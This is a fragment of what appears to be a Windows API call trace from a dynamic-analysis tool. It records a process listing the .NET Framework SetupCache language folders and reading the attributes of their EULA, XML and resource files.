	[0088.380] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.381] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1045"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.381] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.382] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1046"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.382] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.383] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1049"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.383] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.385] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1053"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.385] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.386] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1055"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.386] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.387] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.387] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.387] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.387] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xcd7cbf00, ftCreationTime.dwHighDateTime=0x1d09f02, ftLastAccessTime.dwLowDateTime=0x5922fbc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xcd7cbf00, ftLastWriteTime.dwHighDateTime=0x1d09f02, nFileSizeHigh=0x0, nFileSizeLow=0x23b61, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0088.387] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x29ab2a00, ftCreationTime.dwHighDateTime=0x1d0ab24, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x29ab2a00, ftLastWriteTime.dwHighDateTime=0x1d0ab24, nFileSizeHigh=0x0, nFileSizeLow=0x10776, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0088.387] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x852ae700, ftCreationTime.dwHighDateTime=0x1d0ab27, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x852ae700, ftLastWriteTime.dwHighDateTime=0x1d0ab27, nFileSizeHigh=0x0, nFileSizeLow=0x6358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0088.387] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.387] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x126a67d8 | out: lpFileInformation=0x126a67d8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x29ab2a00, ftCreationTime.dwHighDateTime=0x1d0ab24, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x29ab2a00, ftLastWriteTime.dwHighDateTime=0x1d0ab24, nFileSizeHigh=0x0, nFileSizeLow=0x10776)) returned 1
	[0088.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\SetupResources.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a6828 | out: lpFileInformation=0x126a6828*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x852ae700, ftCreationTime.dwHighDateTime=0x1d0ab27, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x852ae700, ftLastWriteTime.dwHighDateTime=0x1d0ab27, nFileSizeHigh=0x0, nFileSizeLow=0x6358)) returned 1
	[0088.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x126a6878 | out: lpFileInformation=0x126a6878*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xcd7cbf00, ftCreationTime.dwHighDateTime=0x1d09f02, ftLastAccessTime.dwLowDateTime=0x5922fbc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xcd7cbf00, ftLastWriteTime.dwHighDateTime=0x1d09f02, nFileSizeHigh=0x0, nFileSizeLow=0x23b61)) returned 1
	[0088.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070"), fInfoLevelId=0x0, lpFileInformation=0x126a68c8 | out: lpFileInformation=0x126a68c8*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.388] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.388] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.388] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.388] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xcd7cbf00, ftCreationTime.dwHighDateTime=0x1d09f02, ftLastAccessTime.dwLowDateTime=0x59255d20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xcd7cbf00, ftLastWriteTime.dwHighDateTime=0x1d09f02, nFileSizeHigh=0x0, nFileSizeLow=0x240ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0088.388] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x29ab2a00, ftCreationTime.dwHighDateTime=0x1d0ab24, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x29ab2a00, ftLastWriteTime.dwHighDateTime=0x1d0ab24, nFileSizeHigh=0x0, nFileSizeLow=0x148d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0088.388] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x852ae700, ftCreationTime.dwHighDateTime=0x1d0ab27, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x852ae700, ftLastWriteTime.dwHighDateTime=0x1d0ab27, nFileSizeHigh=0x0, nFileSizeLow=0x7758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0088.388] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.388] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x126a6a08 | out: lpFileInformation=0x126a6a08*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x29ab2a00, ftCreationTime.dwHighDateTime=0x1d0ab24, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x29ab2a00, ftLastWriteTime.dwHighDateTime=0x1d0ab24, nFileSizeHigh=0x0, nFileSizeLow=0x148d6)) returned 1
	[0088.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\SetupResources.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a6a58 | out: lpFileInformation=0x126a6a58*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x852ae700, ftCreationTime.dwHighDateTime=0x1d0ab27, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x852ae700, ftLastWriteTime.dwHighDateTime=0x1d0ab27, nFileSizeHigh=0x0, nFileSizeLow=0x7758)) returned 1
	[0088.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x126a6aa8 | out: lpFileInformation=0x126a6aa8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xcd7cbf00, ftCreationTime.dwHighDateTime=0x1d09f02, ftLastAccessTime.dwLowDateTime=0x59255d20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xcd7cbf00, ftLastWriteTime.dwHighDateTime=0x1d09f02, nFileSizeHigh=0x0, nFileSizeLow=0x240ce)) returned 1
	[0088.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082"), fInfoLevelId=0x0, lpFileInformation=0x126a6af8 | out: lpFileInformation=0x126a6af8*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59255d20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.389] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.389] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59255d20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.389] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59255d20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.389] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xcd7cbf00, ftCreationTime.dwHighDateTime=0x1d09f02, ftLastAccessTime.dwLowDateTime=0x59255d20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xcd7cbf00, ftLastWriteTime.dwHighDateTime=0x1d09f02, nFileSizeHigh=0x0, nFileSizeLow=0x1fb5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0088.389] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x29ab2a00, ftCreationTime.dwHighDateTime=0x1d0ab24, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x29ab2a00, ftLastWriteTime.dwHighDateTime=0x1d0ab24, nFileSizeHigh=0x0, nFileSizeLow=0x14614, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0088.389] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x852ae700, ftCreationTime.dwHighDateTime=0x1d0ab27, ftLastAccessTime.dwLowDateTime=0x5d4fc520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x852ae700, ftLastWriteTime.dwHighDateTime=0x1d0ab27, nFileSizeHigh=0x0, nFileSizeLow=0x7758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0088.389] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.390] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x126a6c38 | out: lpFileInformation=0x126a6c38*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x29ab2a00, ftCreationTime.dwHighDateTime=0x1d0ab24, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x29ab2a00, ftLastWriteTime.dwHighDateTime=0x1d0ab24, nFileSizeHigh=0x0, nFileSizeLow=0x14614)) returned 1
	[0088.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\SetupResources.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a6c88 | out: lpFileInformation=0x126a6c88*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x852ae700, ftCreationTime.dwHighDateTime=0x1d0ab27, ftLastAccessTime.dwLowDateTime=0x5d4fc520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x852ae700, ftLastWriteTime.dwHighDateTime=0x1d0ab27, nFileSizeHigh=0x0, nFileSizeLow=0x7758)) returned 1
	[0088.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x126a6cd8 | out: lpFileInformation=0x126a6cd8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xcd7cbf00, ftCreationTime.dwHighDateTime=0x1d09f02, ftLastAccessTime.dwLowDateTime=0x59255d20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xcd7cbf00, ftLastWriteTime.dwHighDateTime=0x1d09f02, nFileSizeHigh=0x0, nFileSizeLow=0x1fb5b)) returned 1
	[0088.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\DHtmlHeader.html" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\dhtmlheader.html"), fInfoLevelId=0x0, lpFileInformation=0x126a6d28 | out: lpFileInformation=0x126a6d28*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x4fb9b300, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x4fb9b300, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6)) returned 1
